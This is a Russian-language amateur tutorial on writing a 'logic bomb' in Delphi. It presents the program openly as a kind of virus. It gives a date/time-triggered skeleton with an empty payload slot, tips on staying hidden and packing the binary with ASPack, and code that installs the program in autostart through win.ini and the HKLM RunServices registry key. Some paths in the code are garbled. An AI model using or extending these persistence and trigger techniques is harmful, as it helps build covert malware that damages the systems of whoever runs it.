Привет читатель. Добро пожаловать на урок по изготовлению логической бомбы. Логическая бомба это (если я не ошибаюсь) то это разновидность вируса. Её принцип прост. Она запускает определённый программный код при выполнении определённых условий. Часто таким условием бывает время или дата.

И так приступим к программному коду:
0) Запусти Delphi.
1) Создай новый проект.
2) Удали Form из проекта. (project=>remove from project=>выбери форму=>OK=>появится окно, нужно согласиться=>всё! Форма удалена)
3) Откроем место для написания кода (project=>view source=>

Program log_bomb;//Название может быть любым
Uses windows; //Подключаемые модули, чем меньше , тем лучше.
Begin
//Если дата 11.11.1111 то срабатывает код написанный
If datetostr(date)=’11.11.1111’ then
Begin // Между begin
// Сам код, выполняющийся при выполнении условия
End;

Exit;
End.

Вот и всё.

А теперь несколько советов.

1) Всегда в конце лучше писать EXIT; Не пойман не уничтожен – закон вирусов.
2) Если надо чтобы программа срабатывала в определённое время. То надо писать следущее:

If timetostr(time)=’22:22’ then
Begin
// Код
End;

3) Иногда, когда подключаешь много модулей прога приобретает «Царский размер»
В этих случаях необходимо пользоваться ASPACK'ом. Он уменьшит размер примерно в два раза.

4) Всегда проверяй Автозагрузку. Может что-то подобное уже работает у тебя!!!!

Теперь я расскажу как сделать это двумя способами: через файл win.ini и через реестр. Приступим.

1) способ Через Win.ini

Для этого надо знать как работать с INI файлами.

Program INIFI;
Uses inifiles;

//Обьявляем переменную для работы с ini файлами
Var reg: tinifile;

Begin
//Выделяем память для переменной, открываем файл
reg:=tinifile.create('win.ini');
//Непосредственно прописываемся
reg.writestring('windows','run',application.ExeName);
//Освобождаем память
reg.free;
exit;
end.

Остановимся на этой строчке подробнее:

reg.writestring('windows','run',application.ExeName);

//Переменная reg запись строки типа string, куда указывается в скобках

reg.writestring()

Win.ini находится ВСЕГДА по адресу:
Имя_диска:Папка_виндыwin.ini

2) Способ Через реестр.

Очень похоже на способ 1), только работаем с реестром и другими переменными. Итак. Приступим.

Program regis;
Uses inifiles;

Var load: treginifile;

Begin
load:=treginifile.create;

//Выбираем ветвь реестра
load.RootKey:=hkey_local_machine;

//Выбираем ключ
load.OpenKey('softwaremicrosoftwindowscurrentversion',false);

//Прописываемся
load.WriteString('runServices','ssi',application.exename);

Load.free;
exit;
end.

Всё просто. Рассмотрим основные моменты:

Переменная.Rootkey:={Название ветви реестра}
Переменная.openkey(название ключа)